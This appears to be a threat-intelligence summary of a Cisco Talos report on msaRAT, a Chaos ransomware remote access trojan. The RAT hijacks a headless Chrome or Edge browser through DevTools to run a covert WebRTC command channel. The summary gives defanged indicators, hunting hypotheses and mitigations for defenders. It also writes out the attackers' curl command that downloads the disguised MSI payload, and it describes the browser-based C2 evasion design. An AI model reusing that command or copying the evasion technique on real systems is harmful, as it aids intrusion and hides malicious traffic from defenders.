11 minhigh
Chaos ransomware's msaRAT: Living off the browser to build a covert C2 channel
Cisco Talos has identified msaRAT, a new Rust-based remote access trojan attributed to the Chaos ransomware group, which establishes a covert C2 channel by hijacking the victim's browser via Chrome DevTools Protocol (CDP). The RAT launches Chrome or Edge in headless mode, injects JavaScript to create a WebRTC DataChannel using Cloudflare Workers for signaling and Twilio TURN as a relay, ensuring all network traffic originates from the browser process and blends with legitimate web traffic. The malware employs double-layer encryption (DTLS plus ChaCha-Poly1305 with ECDH key exchange) and routes all C2 through legitimate cloud infrastructure, making detection and tracing exceptionally difficult.
Sens:▲ 24h
Showing defanged values
- domainis-01-ast[.]ols-img-12[.]workers[.]devCloudflare Workers endpoint used for WebRTC signaling (SDP Offer/Answer exchange) to establish C2 connection; traffic falls within Cloudflare CDN ranges and is difficult to block
- filenamelib.dllDLL containing the msaRAT Rust-based RAT payload, embedded in MSI Binary table as Bin_lib_EA2AEBC3 and loaded into memory via custom action CA_Run_EA2AEBC3
- filenameupdate_ms.msiMSI installer downloaded to C:\ProgramData\ and executed to deliver msaRAT payload; MSI properties impersonate a Windows update with manufacturer 'LexSoft Ltd.' and product name 'Updates Verify'
- ip172[.]86[.]126[.]18Attacker-controlled server hosting the MSI installer; downloads occur over plain HTTP on port 443 to bypass port-only firewall rules
- urlhxxp://172[.]86[.]126[.]18:443/update_ms[.]msiURL used by curl to download the MSI installer disguised as a Windows update over plain HTTP on port 443
Detection / Hunteropenrouter
What Happened
Security researchers have discovered a new type of malicious software called msaRAT, used by a criminal group known as Chaos that targets large organizations for ransom. What makes this malware unusual is that it takes over the victim's web browser and uses it as a hidden communication channel to receive commands from the attackers, so the malicious traffic looks like normal web browsing to security tools. The attackers also use legitimate cloud services from Cloudflare and Twilio to hide their location, and they encrypt their communications in two layers, making it very hard to detect or intercept. Organizations should check their network logs for the specific indicators provided in the report, update their security tools with the available detection signatures, and train employees to be cautious of suspicious emails and phone calls, which are the primary ways the attackers gain initial access.
Key Takeaways
- msaRAT is a new Rust-based RAT attributed to the Chaos ransomware group that uses Chrome DevTools Protocol (CDP) to hijack the browser and establish a covert C2 channel, never touching the network directly
- The RAT launches Chrome or Edge in headless mode with remote debugging enabled, injects JavaScript via CDP, and establishes a WebRTC DataChannel for C2 communications using Cloudflare Workers for signaling and Twilio TURN as a relay
- All C2 traffic appears to originate from a legitimate browser process using WebRTC, making it extremely difficult for firewalls and network monitoring tools to distinguish from normal web traffic
- The malware uses double-layer encryption: DTLS (handled by the browser) plus ChaCha-Poly1305 with ECDH key exchange, ensuring payload confidentiality even if DTLS is stripped
- Initial delivery uses curl to download an MSI file over plain HTTP on port 443, which may bypass firewalls that only inspect port numbers without protocol validation
Affected Systems
- Windows operating systems with Chrome or Edge browser installed
- Large organizations targeted by Chaos ransomware group
Vulnerabilities (CVEs)
None identified.
Attack Chain
- Initial Access: Chaos group gains access via spam emails and vishing (voice-based social engineering)
- Delivery: curl.exe downloads update_ms.msi from attacker server (172.86.126.18) over plain HTTP on port 443 to C:\ProgramData\
- Execution: MSI custom action CA_Run_EA2AEBC3 loads lib.dll (msaRAT) into memory after InstallFinalize
- Browser Hijacking: msaRAT locates Chrome or Edge installation, launches browser in headless mode with CDP remote debugging port enabled via CreateProcessW
- C2 Establishment: JavaScript injected via CDP Runtime.evaluate establishes WebRTC DataChannel using Cloudflare Workers for signaling and Twilio TURN as relay; all traffic appears to originate from legitimate browser process
- C2 Operations: Encrypted commands exchanged over WebRTC DataChannel with double-layer encryption (DTLS plus ChaCha-Poly1305 via ECDH key exchange); RAT monitors CDP WebSocket for binding events (msaOpen, msaClose, msaError, msaMessage, dataAck)
Detection Availability
- YARA Rules: No
- Sigma Rules: No
- Snort/Suricata Rules: Yes
- KQL Queries: No
- Splunk SPL Queries: No
- EQL Queries: No
- Other Detection Logic: No
- Platforms: ClamAV, Snort 2, Snort 3
ClamAV signature Win.Downloader.ChaosRaas-10060321-0 and Snort rules are available (Snort 2 SIDs: 66840, 66841, 66839; Snort 3 SIDs: 301587, 66839). IOCs are also published in the Cisco Talos GitHub repository.
Detection Engineering Assessment
copy:
| Dimension | Rating | Rationale |
|---|---|---|
| EDR Visibility | Medium | The initial curl download, MSI execution, and headless browser launch with debugging flags are visible to EDR. However, once the browser is hijacked, all C2 traffic originates from a legitimate browser process using WebRTC, making it difficult to distinguish from normal browser activity. The RAT process itself only communicates with localhost (127.0.0.1) via CDP WebSocket. |
| Network Visibility | Low | All external C2 traffic appears as legitimate browser WebRTC communication through Twilio TURN servers and Cloudflare Workers infrastructure. The initial MSI download uses plain HTTP on port 443, which is detectable only if protocol inspection is enabled. WebRTC DataChannel traffic through TURN relays is commonplace in enterprise environments and difficult to flag. |
| Detection Difficulty | Hard | The RAT's design deliberately blends C2 traffic with legitimate browser WebRTC activity. The use of Cloudflare Workers for signaling (falls within CDN allowlists), Twilio TURN for relay (legitimate service), headless browser as network proxy, and double-layer encryption makes network-based detection extremely challenging. EDR detection relies on identifying the unusual process ancestry and browser launch parameters rather than network behavior. |
Required Log Sources
- Sysmon Event ID 1 (Process Creation) - for curl.exe, msiexec.exe, and headless browser launches
- Sysmon Event ID 3 (Network Connection) - for localhost CDP WebSocket and external HTTP connections
- Sysmon Event ID 7 (Image Loaded) - for DLL loading events
- Sysmon Event ID 22 (DNS Query) - for Cloudflare Workers domain resolution
- Windows Security Event ID 4688 (Process Creation)
- HTTP proxy logs with protocol inspection
- WebRTC/TURN session logs from network appliances
Hunting Hypotheses
copy:
| Hypothesis | Telemetry | ATT&CK Stage | FP Risk |
|---|---|---|---|
| Consider hunting for browser processes (chrome.exe, msedge.exe) launched with headless and remote debugging flags, especially when spawned by non-browser parent processes such as msiexec.exe or curl.exe. | Sysmon Event ID 1 (Process Creation) with command-line logging | Execution | Low - headless browser launches with debugging ports from non-browser parents are rare in normal enterprise environments |
| Consider hunting for curl.exe making HTTP requests to external IP addresses on port 443, particularly when downloading MSI files to non-standard directories like C:\ProgramData. | Sysmon Event ID 1 and Event ID 3, HTTP proxy logs | Delivery | Medium - curl is used legitimately in some environments, but downloading MSI files from external IPs to ProgramData is unusual |
| Consider hunting for WebSocket connections to localhost (127.0.0.1) from non-browser processes, which may indicate CDP manipulation of a browser instance. | Sysmon Event ID 3 (Network Connection), EDR network telemetry | C2 Establishment | Low to Medium - local WebSocket connections from non-browser processes are uncommon but may occur with some development tools |
| Consider hunting for WebRTC DataChannel traffic originating from headless browser processes, particularly connections routing through Twilio TURN servers with no ICE candidates in SDP answers (address set to 0.0.0.0). | Network IDS/IPS with WebRTC inspection, TURN relay logs | C2 Communications | High - WebRTC through TURN is common in legitimate browser-based communication applications |
| Consider hunting for MSI files with manufacturer 'LexSoft Ltd.' or product name 'Updates Verify' being executed from C:\ProgramData, as these properties are used to impersonate Windows updates. | Sysmon Event ID 1, MSI execution logs, file integrity monitoring | Execution | Low - these specific MSI properties are attacker-defined and unlikely to appear in legitimate software |
Control Gaps
- Port-based firewall rules without protocol inspection will miss the plain HTTP download over port 443
- Cloudflare Workers domains on proxy allowlists will pass C2 signaling traffic without inspection
- WebRTC traffic through Twilio TURN relays appears as legitimate browser traffic and bypasses most network security controls
- Double-layer encryption (DTLS plus ChaCha-Poly1305) prevents content inspection even if traffic is intercepted
- C2 traffic originating from browser process may bypass EDR network monitoring that excludes browser processes from inspection
- Blocking *.workers.dev broadly would impact legitimate Cloudflare Workers deployments, creating a policy conflict
Key Behavioral Indicators
- Headless browser process (chrome.exe or msedge.exe) spawned by non-browser parent process (e.g., msiexec.exe)
- Browser process launched with --headless and --remote-debugging-port command-line flags
- curl.exe downloading MSI files from external IP addresses to C:\ProgramData\ directory
- WebSocket connections to 127.0.0.1 from non-browser processes indicating CDP session establishment
- CDP binding names 'msaOpen', 'msaClose', 'msaError', 'msaMessage', 'dataAck' in process memory or network traffic
- MSI files with manufacturer 'LexSoft Ltd.' or product name 'Updates Verify'
- MSI custom action 'CA_Run_EA2AEBC3' loading DLL from Binary table entry 'Bin_lib_EA2AEBC3'
- WebRTC SDP answers with no ICE candidates and connection address set to 0.0.0.0 (forcing TURN-only routing)
- TOKIO_WORKER_THREADS environment variable referenced by non-development processes
- Browser process making HTTP requests to *.workers.dev subdomains with Origin/Referer headers spoofed as Microsoft.com
False Positive Assessment
Medium - The use of legitimate browser processes, Cloudflare Workers, and Twilio TURN services means that some detection signals could trigger on legitimate browser and WebRTC activity. However, the specific combination of headless browser with debugging flags launched by non-browser parents, curl downloading MSI files from external IPs to ProgramData, and the attacker-specific MSI properties (LexSoft Ltd., Updates Verify) provide distinctive indicators with lower false positive rates.
Recommendations
Immediate Mitigation
defender takeaway
- Verify against your organization's incident response runbook and team escalation paths before acting. Consider searching network and DNS logs for the attacker IP 172.86.126.18 and the Cloudflare Workers domain is-01-ast.ols-img-12.workers.dev, and block if found.
- Consider deploying the referenced ClamAV signature (Win.Downloader.ChaosRaas-10060321-0) and Snort rules (SIDs 66840, 66841, 66839, 301587) to detect and block this threat.
- If your EDR supports it, consider creating alerts for browser processes (chrome.exe, msedge.exe) launched with --headless and --remote-debugging-port flags by non-browser parent processes.
- Consider hunting for curl.exe downloading MSI files from external IP addresses, especially files saved to C:\ProgramData\ with names resembling Windows updates.
Infrastructure Hardening
- Consider implementing protocol inspection for traffic on port 443 rather than relying solely on port-based firewall rules, as the initial MSI download uses plain HTTP over port 443.
- Evaluate whether your proxy or firewall can inspect and flag WebRTC DataChannel traffic, particularly connections routing through TURN servers from headless browser processes.
- Consider implementing allowlisting for Cloudflare Workers subdomains rather than broadly allowing *.workers.dev traffic, if feasible for your environment.
- If supported by your network security tools, consider alerting on WebRTC SDP answers that contain no ICE candidates with connection address 0.0.0.0, as this indicates forced TURN-only routing.
User Protection
- If applicable, consider restricting the execution of MSI files from non-standard directories such as C:\ProgramData\ using application control policies.
- Evaluate whether your endpoint protection can detect and block headless browser instances launched by non-browser processes.
- Consider monitoring for and alerting on curl.exe usage to download executable content from external IP addresses, particularly over non-standard protocol-port combinations.
Security Awareness
- Consider reinforcing awareness training on spam email and vishing (voice-based social engineering) threats, as these are the primary initial access vectors for the Chaos ransomware group.
- If your organization uses remote monitoring and management (RMM) tools, consider training IT staff to verify the legitimacy of any unexpected RMM tool deployment.
- Consider educating employees on the risks of unexpected phone calls requesting system access or credential information, as the Chaos group employs voice-based social engineering for initial access.
MITRE ATT&CK Mapping
MITRE ATT&CK Mapping10 techniques
Tactic
Initial Access
Tactic
Execution
Tactic
Stealth
Tactic
Command and Control
Additional IOCs
- File Paths:
C:\programdata\update_ms.msi- Path where the MSI installer is downloaded and executed on the victim machine
- Command Lines:
- Purpose: Download MSI installer from attacker-controlled server over plain HTTP on port 443 | Tools:
curl.exe| Stage: Delivery |curl.exe http://<server>:443/update_ms.msi -o C:\programdata\update_ms.msi
- Purpose: Download MSI installer from attacker-controlled server over plain HTTP on port 443 | Tools:
- Other:
{3ECBEF43-5592-4F9C-8FBB-D8E524560641}- MSI ProductCode for update_ms.msi installer impersonating a Windows update{00DB0647-0274-4E30-8A38-A1EEE2639B07}- MSI UpgradeCode for update_ms.msi installerCA_Run_EA2AEBC3- MSI custom action triggered after InstallFinalize that loads lib.dll (msaRAT) into memoryBin_lib_EA2AEBC3- Binary table entry in MSI containing the lib.dll RAT payloadLexSoft Ltd.- Manufacturer name in MSI properties used to impersonate legitimate softwareUpdates Verify- ProductName in MSI properties impersonating a Windows update verification tool
Stay currentSubscribe via RSS
